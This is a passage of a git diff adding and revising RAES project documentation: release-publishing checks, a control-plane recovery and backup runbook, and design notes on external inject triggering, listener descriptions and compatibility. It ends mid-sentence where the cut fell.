Release identity +while applying the current publication gates, rather than re-running a stale +workflow definition. Never use manual dispatch for a version already on PyPI: +it rebuilds instead of reusing the original admitted artifacts, even if the +resulting bytes happen to match. Re-run failed jobs on the original run while +its artifacts remain available; otherwise stop and cut a new patch release. +Manual dispatch is not a verification bypass and never builds from the current +branch head. -## PyPI trusted publishing (one-time, maintainer) +## Verify PyPI trusted publishing and release controls -Register a **pending** trusted publisher on PyPI before the first upload (no -token stored): +Before merging a Release Please PR, the maintainer checks the existing PyPI +project's *Publishing* settings for this exact Trusted Publisher tuple: -- PyPI → *Your projects* → *Publishing* → *Add a pending publisher* → GitHub -- PyPI Project Name: `raes` -- Owner: `OpenRAE` · Repository: `rae` -- **Workflow name: `release-please.yml`** · Environment name: `pypi` +- PyPI project: `raes` +- Owner/repository: `OpenRAE/rae` +- Workflow: `release-please.yml` +- Environment: `pypi` -> If you previously registered the publisher against `release.yml`, update it to -> `release-please.yml` (or add a second pending publisher) — the workflow filename -> must match or only the PyPI publish step 403s. +The GitHub `pypi` environment must allow deployments only from `main`. Its +publisher job alone receives that environment and `id-token: write`; it also +has job-scoped `contents: write` solely so its post-approval identity check can +see the still-draft GitHub Release. Resolution, canonical verification, +distribution installation, GitHub attachment, and CLI execution cannot mint +the PyPI publishing credential. The workflow uses short-lived OIDC rather than +a stored PyPI API token. A successful historical publish attestation can prove +which identity published that file, but does not prove that private publisher +settings or account tokens remain unchanged today. -The `pypi` environment and `id-token: write` permission exist only on the PyPI -upload job. That job also has job-scoped `contents: write` solely so its -post-approval identity check can see the still-draft GitHub Release. Configure -the environment's deployment branch policy for `main`. Resolution, canonical -verification, distribution installation, GitHub attachment, and CLI execution -cannot mint the PyPI publishing credential. +Check the protected `main` and `dev` merge policies and the `v*` tag rule before +authorizing a release. This is a single-maintainer decision; do not require a +fictional second approver or deputy. Preserve the separation of machine +permissions between verification, signing, PyPI publication, and GitHub +finalization. ## Pinning from a downstream backend diff --git a/docs/explain/sdl/control-plane-operations.md b/docs/explain/sdl/control-plane-operations.md new file mode 100644 index 000000000..0b5977176 --- /dev/null +++ b/docs/explain/sdl/control-plane-operations.md @@ -0,0 +1,219 @@ +# Control-Plane Recovery Operations + +This runbook covers the reference runtime control plane's supported recovery, +health, shutdown, backup, restore, and upgrade procedures. It composes the +existing CP-3, CP-5, and CP-6 lifecycle rules; it does not introduce a second +recovery state machine or infer an operation outcome from process failure. + +The durability profiles have different boundaries: + +- P0 is in-memory and has no durable backup or restore claim. +- P1 is the single-host local SQLite provider described here. +- P2 uses the same P1 store procedure only after HTTP admission has stopped and + drained. A custom provider must supply its own equivalent procedure. + +All commands require an explicit expected target and run scope. A database path +is a locator, not authority and not a source of scope. Run the commands as the +same operating-system identity that owns the private store and backup +directories. Do not expose command output, paths, or database contents as run +evidence. + +The [control-plane conformance suite](../../research/runtime-control-plane/conformance.md) +documents the tested reference compositions, crash boundaries, and explicit +nonclaims. Its process-loss evidence does not establish that a deployment's +external backend matches a restored database. + +HTTP security configuration rejects empty configured credentials or principal +names. Configured identity and verification headers must be valid, distinct +HTTP field names and cannot alias `Authorization`. Strict defaults still reject +caller-supplied proxy identity. Exceptions from backend calls and observation +adapters produce bounded diagnostics without exception names or text. A failure +to persist a planner-denial audit +keeps the intended forbidden response and emits only a stable error log label; +operators should investigate that label as an audit availability failure. + +The [operation supervision decision](../../decisions/issue-1348-operation-lifecycle.md) +defines the required separation between stopping admission, requesting backend +interruption and establishing cessation. It is design authority: the current +runtime retains its mutation permit across external calls and can drain without +a bound. Do not infer bounded shutdown or checkpoint resumption from P1/P2. + +## Classify Recovery Before Acting + +Inspect the operation through the authenticated status API and use only its +durable terminal state and recovery diagnostic: + +| Durable result | Meaning | Operator action | +| --- | --- | --- | +| `FAILED` or `CANCELLED` with `runtime.control-plane.recovery-effect-absent` | The admitted effect was observed absent. That observation alone cannot rule out a surviving external worker. | Establish cessation and apply the authored retry/attempt policy before submitting new work with a fresh key. Preserve the original operation. | +| `SUCCEEDED` with `runtime.control-plane.recovery-effect-applied` | Neutral observation established and validated the effect. | Treat the committed snapshot and operation as authoritative. Do not repeat the effect. | +| `INDETERMINATE` with `runtime.control-plane.recovery-effect-unobservable` | The effect could not be established. New effects for the target/run remain quarantined. | Use backend-specific inspection, then create a separately authorized linked resolution operation. Never rewrite the parent or reuse its idempotency key. | + +Timeout, request cancellation, process exit, and an operator's expectation are +not evidence of an effect. The parent operation, its claim, timestamps, +commitment, diagnostics, and audit history remain immutable. Administrative +resolution uses the existing `INDETERMINATE_RESOLUTION` child operation and an +operator identity bound to the exact target. + +Administrative `ACCEPT_CURRENT_SNAPSHOT` resolution acknowledges a selected +portable state; it does not prove backend cessation, verified cleanup or +permission to repeat effects. A fresh idempotency key or different store/run +identity cannot supply those facts. Required cleanup and clean-state evidence +remain governed by SCE-007; a new trial requires its own admitted allocation. +Keep externally uncertain resources isolated until the applicable guarantees +are established, even when an administrative receipt reports success. + +## Health and Startup + +The public probes are deliberately value-free: + +- `GET /health/live` returns `200` with `{"status":"live","reasons":[]}` + when the HTTP health handler can answer. It does not inspect a backend or + imply readiness. +- `GET /health/ready` returns `200` only after admission, store validation, and + startup reconciliation finish. Otherwise it returns `503` and a bounded list + of stable reason codes. + +Neither probe authenticates a caller or appends audit events. Probe output never +contains target, run, actor, operation, timestamp, revision, count, path, +provider, exception, SQL, credential, or snapshot values. + +Readiness remains false when startup is incomplete, the owner lease is absent +or lost, durability is poisoned, shutdown is draining or complete, or an +unresolved indeterminate operation requires recovery. A successful startup +follows this order: + +1. Validate trusted composition and the one-worker configuration. +2. Secure the store root and acquire its owner lease. +3. Verify target/run scope, schema, supported migrations, codecs, digests, and + SQLite integrity. +4. Load and validate authoritative runtime state. +5. Reconcile admitted operations without replaying unknown effects. +6. Publish derived state, then report ready. + +Construction failure is pre-readiness failure. Do not put a partially +initialized control plane behind a ready HTTP listener. + +## Stop and Drain + +Stopping admission does not interrupt work already executing. Current drain can +wait indefinitely on a backend or observer. The supervision design requires +bounded interruption/observation/drain stages, but this runbook does not claim +they are implemented. If the embedder terminates a process, record that loss and +reconcile external effects before reuse; local process exit or lease release +does not stop a remote job. Never force a second writer into the live store. + +Before P1 maintenance or a deployment change: + +1. Remove the instance from readiness-based traffic and stop new HTTP/core + admission. +2. Drain queued and admitted calls, including backend work whose request was + cancelled but whose worker is still active. +3. Let terminal commit and readback settle. Unknown effects become recovery + work; do not guess success or cancellation. +4. Close provider resources. +5. Release the owner lease only after provider close succeeds. + +The runtime lifecycle and ASGI lifespan implement this order. Do not delete the +owner file, close the store directly from a signal handler, or run maintenance +against a live service. If close cannot be confirmed, retain the lease and fail +closed. + +## Check and Backup + +With the owning runtime stopped and drained, validate a store: + +```console +raes runtime store check STORE_DIR --target TARGET --run-scope RUN_SCOPE +``` + +Create a consistent backup in a private directory: + +```console +raes runtime store backup STORE_DIR BACKUP.sqlite3 --target TARGET --run-scope RUN_SCOPE +``` + +An existing destination is refused. Replace it only as an explicit policy: + +```console +raes runtime store backup STORE_DIR BACKUP.sqlite3 --target TARGET --run-scope RUN_SCOPE --replace +``` + +The operation acquires the same exclusive lease as the runtime, verifies the +exact target/run scope, uses SQLite's backup API, validates the resulting +schema, records, audit history, payload digests, and integrity, synchronizes the +private temporary file, publishes it atomically, and synchronizes its +directory. Never copy the main database and `-wal`, `-shm`, or `-journal` files +as an independently meaningful set. + +Success and failure output are fixed codes such as +`control-plane-store-backup-succeeded`; paths and provider errors are not +echoed. A backup contains the local store's scope metadata, snapshot revision, +operations, idempotency claims, and audit sequence as one cut. It does not +contain or establish matching external backend state, credentials, TLS/proxy +configuration, or archival experiment evidence. Encryption, retention, +off-host transfer, and target-native backups remain deployment +responsibilities. + +## Restore + +Restore only into an offline destination whose expected target and run scope +are known independently: + +```console +raes runtime store restore BACKUP.sqlite3 STORE_DIR --target TARGET --run-scope RUN_SCOPE +``` + +An existing destination is refused unless `--replace` is present. Replacement +first retains a validated `pre-restore-*.sqlite3` copy in the private store +directory. The supplied backup remains immutable: the tool copies it to a +private working database, applies only supported transactional migrations to +that copy, validates the complete store, rejects stale SQLite sidecars, then +atomically publishes and synchronizes the destination. + +Do not start the service merely because the database restore succeeded. A +database backup cannot prove that an external target is at the same state cut. +Restore or independently establish the matching backend state first. If that +cannot be established, keep the service unready and use the indeterminate +recovery boundary; never fabricate successful operations from the restored +snapshot. + +After publication, start normally with the same explicit scope. Runtime +admission repeats schema, integrity, codec, lease, and reconciliation checks +before readiness. Preserve the supplied backup and any pre-restore copy until +the deployment's retention policy confirms recovery. + +## Upgrade and Migration + +Use this order for an upgrade: + +1. Stop admission, drain, close, and release the owner lease. +2. With the old admitted code, create and verify a pre-upgrade backup. +3. Install the new code. +4. Start with the same explicit target and run scope. +5. Let normal admission acquire the lease, run the supported transactional + schema migration, validate the store, reconcile, and only then become ready. + +Unknown or newer schemas fail without mutation. A failed migration leaves the +old database or transaction authoritative and the service unready; it does not +delete the backup or sanitize history. Downgrade is not a restore procedure. +Use a tested backup plus the corresponding backend-state procedure instead. + +All lease waits, drains, SQLite timeouts, backup timestamps, and recovery +timestamps use apparatus wall or monotonic time. SDL timelines, participant +clocks, `TimeRuntime`, and caller-authored scenario time never drive these +operations. + +## Deployment Responsibilities + +The deployment owner must provide TLS termination, proxy identity trust, +service accounts, secret resolution, one-worker process supervision, +readiness-based routing, private filesystem access, backup encryption and +retention, off-host copies, and backend-native backup or state alignment. Logs +and health are not audit evidence. The append-only operational audit is not +tamper evidence, participant observation, run provenance, or captured +experiment evidence. + +For the underlying invariants and ownership boundaries, see +[Runtime Architecture](runtime-architecture.md) and +[ADR-104](../../decisions/adrs/adr-104-runtime-control-plane-architecture.md). diff --git a/docs/explain/sdl/external-inject-cases.md b/docs/explain/sdl/external-inject-cases.md new file mode 100644 index 000000000..78605a3ba --- /dev/null +++ b/docs/explain/sdl/external-inject-cases.md @@ -0,0 +1,85 @@ +# External inject worked cases and evidence + +These are semantic cases for [EI-01–EI-06](../../../specs/sdl/external-injects.md), +not proposed SDL or JSON syntax. Each accepted row assumes independently +resolved authority, binding, clock, payload and evidence inputs at its cut. + +## Environment and researcher input + +An environment declares a compute node and service endpoint, an inject +`release`, and an event `gate` naming it. It declares no agents, behaviors, +scripts or stories. The existing parser/compiler accepts this shape. A +researcher may request one occurrence of `release` against an admitted concrete +binding after `gate`'s assertions hold. The caller is an authenticated operator, +not a synthesized participant or controller. If the realization changes an +authored approval condition, this is a world change; it is not API-409 approval +of a participant proposal. Without an executable realization, triggering is +unsupported even though the declaration is valid. + +## Identity, ordering and outcomes + +| Request or event | Required result | +| --- | --- | +| `k1/o1`, exact admitted plan/source/input and `host:1`, current head, order 10 | Atomically claim the operation and occurrence; no effect is yet established. | +| Identical authorized retry of `k1` after its original window expires | Return the recorded operation/outcome without re-admission or dispatch. | +| `k1` with changed input, target, run, source or occurrence | Identity conflict; retain the first claim. | +| Another key for `o1`, including another actor | Refuse a second occurrence claim; reveal no other actor's receipt. | +| Fresh key and fresh permitted `o2`, current head, order 20 | May repeat the same authored inject; revalidate every current constraint. | +| External and scheduled contenders share an expected head | Apply trusted order; the later stale request is rejected without rebasing. An unresolved tie has no arrival-selected winner. | +| New occurrence/key reuses a consumed schedule slot | Refuse; fresh naming does not duplicate a scheduled firing. | +| Binding ambiguous after node expansion, unknown event assertion, invalid payload or unmapped clock | Deny before claim; no dispatch. | +| Authority expires, target changes or backend refuses while queued | Withdraw with retained claims and no invocation. | +| Backend proves no effect and cessation for every target | Record effect absence with its evidence; acceptance was not success. | +| Both targets prove application | Record effect-applied with each target's result and readback basis. | +| One applied, one proven absent with residual/cessation evidence | Record known-partial; no atomic fan-out or rollback claim. | +| One applied, one unreported or possibly still running | Record indeterminate aggregate and preserve the known applied result. | +| Effect happens; terminal commit fails or response is lost | Reconcile original attempt under retained claims; never blindly invoke again. | +| Late result names another generation, input or target | Cannot settle the current operation. Preserve uncertainty and investigate through the existing evidence owner. | + +Order 10 is not clock tick 10. A temporal window is evaluated in its admitted +domain/clock/segment; script duration normalization retains its existing +whole-second rounding. Neither compiler dependency order nor a queue position +is an execution clock or proof of an effect. + +## Participant composition + +After `o1` produces result `r1`, an explicit participant binding may disclose +`r1` at its own authorized delivery cut. It must preserve the exact occurrence, +participant/episode, audience, policy, markings and evidence. Ordinary +disclosure of an existing item does not invent a world effect. An API-424 +inject effect has its separately required fresh occurrence and produced result. + +A direction under reusable edge `direct` binds accepted control application +`c1@1` and its typed target/source-controller authority. A later application +`c2@2` of that edge is different; choosing the latest matching edge is invalid. +The disclosure policy can be `d@7` while the control policy is `p@2`: their +constraints must both hold, not their revision strings match. A different +audience needs its own admitted binding. + +Reserve `(c1@1, binding)` before emission. A lost acknowledgement keeps that +reservation; changing the client key cannot emit again. Retrying delivery +cannot re-execute `o1`. A delivery denial leaves `o1` applied. If delivery is +required, composed success and dependent progress remain withheld. A sink +acknowledgement establishes only its admitted delivery fact; participant +observation requires separate evidence. No failed world outcome can be disguised +as a successful result by returning a participant status view. + +## What the executable witnesses establish + +[`test_issue_1353_external_inject_design.py`](../../../implementations/python/tests/test_issue_1353_external_inject_design.py) +models a single target/run store, fixed resolved inject/source, at most three +claims, two concrete bindings, one attempt per occurrence and a bounded action +alphabet. It exercises claim conflicts, stale order, atomic-write failure, +withdrawal, partial/unknown settlement, immutable terminal results and delivery +reservations. Exhaustive four-action traces check append-only history, immutable +claims and at most one invocation in that projection. It also calls the actual +parser/compiler for the no-participant, no-schedule compatibility witness. + +The model receives trusted authorization/clock/resolver/evidence facts. It +does not implement or prove raw ingress, authentication, arbitrary reference +resolution, target interference analysis, distributed scheduling, store crash +durability, backend execution, physical cessation, delivery transport or +observation. The existing DSL-142 and #1351 tests retain their own legacy and +bounded-control evidence. The +[adoption contract](external-inject-compatibility.md) names the required real +consumer tests. Acceptance of this design does not certify those consumers. diff --git a/docs/explain/sdl/external-inject-compatibility.md b/docs/explain/sdl/external-inject-compatibility.md new file mode 100644 index 000000000..1b4b79ede --- /dev/null +++ b/docs/explain/sdl/external-inject-compatibility.md @@ -0,0 +1,71 @@ +# External inject compatibility and adoption + +[ADR-112](../../decisions/adrs/adr-112-external-inject-triggering-and-execution.md) +and [EI-01–EI-06](../../../specs/sdl/external-injects.md) publish +external-inject-occurrence/rev1. This identifier names a semantic decision; +it is not an installed schema, transport method or backend capability. + +## Reader and producer rules + +| Artifact | Existing reader | Reader implementing EI-01–EI-06 | +| --- | --- | --- | +| Existing inject/event/script/story authoring | Existing parsing, compilation and scheduling meaning | Same authoring; live triggering additionally needs an admitted versioned realization/invocation binding. | +| Legacy bound/queued snapshot or plan-start receipt | Original status only | Original status only; never infer an applied effect, delivery or observation. | +| Legacy DSL-142 fixed narrative anchor | Original mandatory fields and fixed-coordinate checks | Retain legacy reader and policy pins; do not fabricate omitted schedule fields. | +| New external occurrence, outcome or unscheduled delivery join | Refuse unsupported interpretation | Explicit closed discriminator, exact contextual joins and capability admission. | +| Mixed historical archive | Refuse unsupported segments for reconstruction; preserve bytes | Select each record's original reader, source/plan/policy pins and evidence. | + +Omission of a participant binding continues to mean ordinary orchestration. +Absence of participants never selects a different or weaker world-effect +contract. Entity endpoints retain paired-or-absent authoring and do not become +runtime actor or physical target selectors. Current environment string lists +acquire no executable command, environment-variable or payload syntax. + +Do not reinterpret old receipts, change their occurrence IDs, manufacture +backend evidence, relax old schemas, or infer the new form from missing fields. +A conversion may preserve source declarations and produce explicitly selected +new invocation bindings with recorded source provenance. New repeatability, +fan-out, runtime parameters or semantic order requires an author/admission +decision; it is not a lossless change to historical intent. + +No live interpretation upgrade is supported while occurrences are queued, +running or indeterminate. Preserve claims and pins during recovery. Admit a +new run only through the existing lifecycle and independent authority; a run +reset is not proof that an old external effect ceased. Mixed archives retain +separate target/run scopes and never concatenate their order counters as one +continuous execution. + +## Coordinated adoption boundary + +The smallest executable adoption is a coherent slice through: + +1. Closed versioned invocation/outcome carriers and strict bounded serialized + ingress, plus direct-core and persistence contextual validation. +2. Trusted compiler/plan resolution of existing inject/narrative identities, + concrete target sets and source/input/evidence contracts. +3. Target capability manifest, installed invokable protocol and contextual + admission agreement. Missing backend execution support is an honest refusal. +4. ADR-104 authoritative operation/occurrence/slot/retry claims, running intent, + supervised dispatch, immutable outcomes, atomic terminal state/audit and + profile-specific recovery. +5. Backend result validation, per-binding evidence and residual/unknown effects. +6. Optional DSL-142/ADR-110/API-423/API-424 consumers, exact occurrence/result + joins, independent control/disclosure authority and final-sink evidence. + +Reuse existing owner modules named in the +[preflight](issue-1353-external-inject-triggering-preflight.md). +No second trigger database, scheduler, policy interpreter or permissive metadata +channel is authorized. Schema adoption must follow ADR-009/061, the publication +manifest and per-contract entries, change hashes, generated-bundle parity and +all embedded occurrence/snapshot consumers. This delivery changes none of them +and begins no deprecation/removal window. + +Adoption evidence must exercise actual HTTP/embedder/store/backend consumers: +unauthorized trigger and receipt reads, malformed/oversized/secret-bearing input, +stale/ambiguous/multiple targets, unmet/unknown assertions, concurrent scheduled +and external claims, changed-key occurrence reuse, failed atomic writes, crashes +after effect before commit, invalid/partial/late outcomes, capability refusal +and required-delivery failure. Include no-participant execution on a real +selected backend, legacy fixture compatibility, and actual final-sink joins. +A bounded design model or successful status retrieval cannot replace these +tests or establish world effects. diff --git a/docs/explain/sdl/index.md b/docs/explain/sdl/index.md index a7c868009..5d6bcfa0d 100644 --- a/docs/explain/sdl/index.md +++ b/docs/explain/sdl/index.md @@ -163,6 +163,7 @@ accounts: - [Testing](testing.md) — How to run unit tests, stress tests, and fuzz tests - [Complex Scenario Designs](complex-scenarios.md) — Up-front design briefs for large example exercises - [Runtime Architecture](runtime-architecture.md) — SDL-native compiler, composite plans, and runtime targets +- [Control-Plane Recovery Operations](control-plane-operations.md) — Health, shutdown, recovery classification, local backup/restore, and upgrade procedures ## Usage diff --git a/docs/explain/sdl/issue-1299-clause-mapping.md b/docs/explain/sdl/issue-1299-clause-mapping.md new file mode 100644 index 000000000..7652ea1ea --- /dev/null +++ b/docs/explain/sdl/issue-1299-clause-mapping.md @@ -0,0 +1,70 @@ +# Issue 1299 Clause Mapping: Partial Listener Descriptions + +## Decision + +`runtime.service_listeners` is a descriptive inventory surface, not universal +endpoint admission. Only `service_listener_id` is universally required. +Supplied facts retain their bounds, closed-object shape, reference integrity, +and known contradictions; omitted facts remain omitted. A backend operation or +complete-report assessment that needs a usable endpoint owns the corresponding +completeness precondition. + +The existing `tcp` model default remains for compatibility. Source-preserving +rendering omits it when unauthored, and instantiated explicitness provenance +prevents that default from becoming an exact author claim. `unknown` and +`other` defer protocol agreement; a private concrete vocabulary value remains +an exact value and is compared. + +## Alternatives considered + +- Requiring address or interface plus port on every network listener was + rejected because inventory collectors and authored constraints can know only + part of an endpoint. +- Treating every non-`unix` protocol as a network endpoint was rejected because + `unknown`, `other`, variables, and private vocabulary values do not prove an + address family. +- Synthesizing wildcard addresses, ports, interfaces, publications, or service + bindings was rejected because it would turn missing knowledge into a false + deployment or observation claim. +- Removing the legacy `tcp` default was rejected as an unnecessary source and + instantiated-contract compatibility break. + +## External-practice check + +Host and remote inventory sources expose different slices of listener state. +Linux `/proc/net/tcp` exposes local address and port in a host-local table; +osquery/Fleet publishes address, port, protocol, family, and process ownership +as separate columns; Nmap reports reachability state from the scanner's +vantage. Those sources support preserving known fields independently rather +than requiring one globally complete endpoint tuple. + +- Linux kernel `proc_net_tcp` documentation: + +- Fleet `listening_ports` table: + +- Nmap port-scanning states: + + +## Acceptance-clause mapping + +| Issue clause | Implementation and verification | +| --- | --- | +| Partial TCP, Unix, unknown, private, and explicit-empty descriptions parse and round-trip | `RuntimeServiceListener.validate_listener_shape`; `test_partial_listener_knowledge_parses_and_round_trips_without_invented_facts` | +| Bounds and supplied Unix/network, family, and scope contradictions remain enforced | `RuntimeServiceListener.validate_listener_shape` plus provenance-aware TCP-default checks in `SemanticValidator`; existing listener validation tests plus `test_partial_unix_listener_permits_missing_path_but_rejects_network_fields` and `test_listener_rejects_mixed_supplied_unix_and_network_shapes` | +| Optional service, process, publication, and relationship refs remain semantic refs | Existing service-listener semantic/reference tests; publication resolution remains unconditional for concrete reference tuples | +| Legacy TCP default survives without becoming authored knowledge | `test_omitted_legacy_tcp_default_is_source_absent_and_instantiated_default`; semantic comparisons consult source presence or instantiated explicitness | +| Open parents delegate omitted bind detail while retaining exact children | `test_open_listener_scope_delegates_bind_but_preserves_exact_port` | +| Missing/open protocol defers agreement; private concrete protocol binds | `test_missing_or_unknown_listener_protocol_defers_service_protocol_agreement` and `test_concrete_private_listener_protocol_remains_binding` | +| Partiality grants no access, publication, observation, retention, or export | `test_partial_listener_does_not_create_access_publication_or_capture_demand`; no policy, capture, lifecycle, or export surface is changed | +| Complete endpoint admission remains closed where selected | Backend preparation/installed validation or a coverage-aware complete-report assessment must require the fields its operation consumes; descriptive parsing does not satisfy that precondition | +| SSH disposition is explicit | `RuntimeSshServer.service` remains required; `test_ssh_daemon_policy_keeps_its_explicit_service_binding` prevents accidental loosening | +| Published schemas remain synchronized | Five generated contract schemas and their publication-ledger hashes are updated and schema-validated | + +## Known limitation + +RAES does not currently define one transport-neutral operation that consumes +every `runtime.service_listeners` entry as a complete endpoint. Completeness is +therefore intentionally local to a selected backend operation or a report that +claims complete endpoint coverage. Adding such an operation requires an +explicit precondition and negative tests for missing fields; it must not move +that requirement back into the descriptive model. diff --git a/docs/explain/sdl/issue-1353-external-inject-triggering-preflight.md b/docs/explain/sdl/issue-1353-external-inject-triggering-preflight.md new file mode 100644 index 000000000..ccc058340 --- /dev/null +++ b/docs/explain/sdl/issue-1353-external-inject-triggering-preflight.md @@ -0,0 +1,377 @@ +# Issue #1353 — External inject triggering architecture preflight + +Date: 2026-09-22. Inspection baseline: `c3a9154b9be85f4cf60688df9c384385baae03cd`. + +Scope: DSL-111 and the amended DSL-142 requirement at the issue #1353 boundary. +The supplied requirement and issue payloads are sufficient; no re-fetch is needed. +This note is preflight guidance, not the issue's accepted semantic decision, +a requirement amendment, an implementation plan, or a claim of runtime support. +The referenced diagnosis and environment/inject diagnosis were inspected from +this repository's Git objects at `077f7d04`; they are absent from this working +tree. No other repository was inspected. + +## Boundary to preserve + +An authorized external request may instantiate authored orchestration intent +without declaring its caller, affected users, or environment as participants. +Keep the following facts separately identified and evidenced: + +| Fact | Existing owner and boundary | +| --- | --- | +| Authored inject and narrative placement | DSL-111: `Inject`, `Event`, `Script`, `Story`, `Node.injects`, compiler `InjectRuntime` and orchestration `InjectBinding`. Declaration or plan installation does not establish execution. | +| Accepted external request and operation | API-404/ADR-104: authenticated actor, admitted target/run, immutable request commitment, operation lifecycle and scoped retry claim. Acceptance is not an effect. | +| Actual world-effect occurrence | General orchestration must bind the authored intent to a fresh occurrence, concrete target selection and validated backend outcome. The missing portable trigger contract belongs at this boundary. | +| Optional participant disclosure, delivery and observation | DSL-142, SEM-226/230/233 and API-423/RUN-319 retain their separate policies, occurrences and evidence. World effects do not grant disclosure permission. | +| Actual direction/intervention | ACT-617/API-409/RUN-310 and ADR-110 retain exact control-application authority. Affecting a participant's environment does not by itself change participant control. | + +Reuse the existing inject authoring. `Inject.from_entity`/`to_entities` name +entities, not authenticated principals, runtime nodes or participant controllers; +both endpoints may be absent. A researcher's input that changes an authored +approval condition can be a world effect. It is not automatically API-409 +approval of a participant proposal. Conversely, labeling a real participant +direction as an environment inject must not evade its control/flow gates. +ADR-109 likewise keeps entity affiliation, participant identity and objective +assignment separate; entity endpoints do not select a participant audience. + +Use the current normative `specs/sdl/sections.md`, `references.md` and +`document-model.md` alongside the published schemas. Some explanatory examples +still use `from-entity`/`start-time`, and the validation summary still calls +event preconditions conditions. Strict source syntax uses `from_entity` and +`start_time`; `Event.assertions` references precondition assertions and rejects +legacy `conditions`. Reuse `orchestration/_durations.py` (including its rounding +to whole seconds) and existing window analysis. Neither compiler dependencies +nor plan `startup_order` establishes live occurrence order or a new clock. + +### Confirmed gaps that constrain the decision + +Package paths below are relative to `implementations/python/packages/`. + +- `raes_backend_protocols/protocols.py::Orchestrator` exposes plan + start/status/results/history/stop, not a portable per-inject invocation. + `raes_reference_backend/orchestrator.py::start` marks inject resources bound + and narrative resources queued. Its successful `ApplyResult` establishes + that boundary only. Neither `supports_inject_bindings` nor a supported + `injects` section establishes external execution support. +- `raes_runtime/participant_control_effects.py::_submit` sends an API-424 + inject effect to `deliver_participant_directed_view`. Its owner binding + compares participant/episode/view/cut/projection coordinates; it does not + execute the authored source or establish a new world occurrence. + `ControlInjectEffectModel` is deliberately participant-specific. Making + participant fields optional would not repair the missing general path. +- `ParticipantInjectOccurrenceAnchor` currently requires event, script and + story references. Those identify a narrative placement, not successive live + firings. General events can exist without scripts/stories. The decision must + explain an external occurrence with no schedule and its optional delivery + join; do not fabricate a story or silently reinterpret the old anchor. +- [ADR-110](../../decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md) + and [MC-09](../../../specs/formal/participant-semantics/reusable-mixed-control.md#mc-09--participant-directed-injects) + define reusable control/delivery joins, while current models retain the + legacy fixed-coordinate form. The new decision must compose that accepted + semantic boundary and explicitly identify executable adoption still needed. +- `control_plane_execution.py::_commit_operation_result` currently maps the + backend's success boolean to `SUCCEEDED`/`FAILED`; backend exception and + contract-failure helpers return unsuccessful results with the predecessor + snapshot. Reusing that path alone cannot distinguish an absent effect from + an unknown one. Carry the invocation/evidence distinction through the shared + lifecycle owner under ADR-104; do not infer safe retry from `FAILED`. +- `control_plane_operation_context.py::_value_free_request_payload` and + `control_plane_store_payloads.py::_entry_payloads` currently special-case + account-placement credentials. Their names do not promise generic inject + payload redaction. A new carrier must be safe by construction or explicitly + covered at the existing commitment, snapshot, diagnostic and retry owners; + a raw-payload digest is not a safe substitute for a secret reference. + +### DSL-142 adoption boundary + +The [original #797 preflight](../../decisions/issue-797-dsl-142-participant-inject-delivery-preflight.md) +describes the shipped fixed-coordinate form. Its equal policy-revision, +destination-controller and fixed-order guidance must not be applied to the +ADR-110 form. Retain those checks for legacy readers; the +[migration contract](../../migration/reusable-mixed-control.md) requires an +explicit interpretation boundary, not deletion of inconvenient validators. +No additional ADR is needed to re-decide these accepted participant semantics. +Issue #1353 still needs its own accepted external-execution decision. + +| Inspected incumbent | Constraint on adoption | +| --- | --- | +| `raes/participant_inject_delivery.py::ParticipantInjectDelivery` and `raes_processor/compiler/participant_inject_deliveries.py` carry declaration-time control coordinates. | Keep the participant-local binding and typed compiler metadata; reusable edge constraints cannot substitute for an actual accepted occurrence identity/revision, exact typed target or episode. A compiler dependency is not a runtime permission. | +| `raes/validator/_participant_inject_deliveries.py::_verify_delivery_control_identity` requires equal control/delivery revision strings and the destination-state controller/scope. | For the explicit new form, independently pin both policies and resolve the acting source controller and non-widening scope against the accepted application. Only a separately authorized handoff changes controller identity. Preserve legacy equality/destination rules under their old interpretation. | +| `_verify_delivery_control_time` compares `(control_effective_order, 0)` directly with temporal ticks. | The new form must use the admitted shared-time mapping, clock/domain/segment and actual cut, with a separately valid delivery window. Matching integers do not establish a mapping. | +| `raes_contracts/contracts/participant_control_validation.py::_declaration_agrees` still matches fixed occurrence coordinates to a declaration. | Adoption crosses ACT-617/API-409/RUN-310 as well as DSL-142. An SDL-only relaxation cannot make repeated applications valid at the portable occurrence and runtime readers. Keep exact contextual occurrence validation in its existing owner. | +| `raes_contracts/contracts/participant_control_resolution.py::_validate_inject` checks the authored-binding digest and directly compares reference strings, including `participant_address` against `participant_ref`. | Reuse the trusted non-wire `inject_deliveries` context, but explicitly resolve authored refs through compiler indexes before canonical joins. Neither a field name nor a binding digest proves an exact accepted control occurrence or one-time delivery consumption. Preserve the authored digest and compiled-address association; do not rewrite refs inside the hashed source object to make strings equal. | + +The new directed-application join must retain independently named control-state, +control-occurrence, target, policy and snapshot/history revisions. Do not copy +one counter into another. Direction targets proposal/action/control; intervention +targets action/control/attempt, constrained by the permitted edge. A rejected, +future, stale, self-referential, cross-participant or cross-episode occurrence +cannot authorize delivery. Resolve eligibility from trusted owner state, never +from a client-supplied accepted flag, target index or latest matching edge. + +Delivery uniqueness is an additional invariant to operation-key deduplication: +claim the exact occurrence/binding pair through the existing authoritative store +and atomic crossing/history/receipt boundaries. Different caller keys and +concurrent workers must not obtain two logical deliveries. Specify reservation, +emission and evidence settlement so a lost acknowledgment or crash cannot free +an uncertain claim for blind redispatch. An exact receipt retry is an authorized +historical lookup; any still-pending emission must pass current delivery gates. +No retry advances control state, renews authority, or re-executes the world effect. + +## Questions the accepted contract must settle + +These are semantic obligations, not a sequence of implementation tasks. + +**Binding and payload.** Bind the exact admitted scenario/plan revision, +canonical inject address, run, target and selected concrete binding(s). +Authored roles and entity names are not unique physical targets: node counts, +module aliases and reuse can yield multiple realizations. Specify whether a +request selects one binding, an explicit set, or a declared fan-out; unresolved, +ambiguous, stale and cross-run bindings fail closed. An external caller may +select only within admitted intent, not replace source artifacts, overwrite +the plan, expand target scope or upload executable SDL through a trigger. +Define whether an event is invoked as a whole or an inject is selected within +it, including which event assertions and schedule constraints remain binding. +Reuse proposition/assertion evaluation; unknown or unsupported preconditions +cannot be promoted to true, and an inject selector cannot bypass them. +`Inject.source` is optional and a source selector may use version `*`. +Preserve that authoring compatibility while requiring an admitted realization +and its resolved artifact/input commitment for execution. A descriptive inject +with no executable realization must be explicitly unsupported, never a successful +no-op; retry must not re-resolve a floating selector to different content. + +Separate static `Source` identity, runtime input, derived result and optional +disclosed item. State the allowed input shape, size, media/schema version, +integrity/provenance and binding to author-permitted parameters. Prefer existing +artifact and typed reference carriers where sufficient. An artifact name or +digest alone is neither permission to execute nor proof that its contents were +used. Do not add an untyped payload/config bag or silently assign shell/env 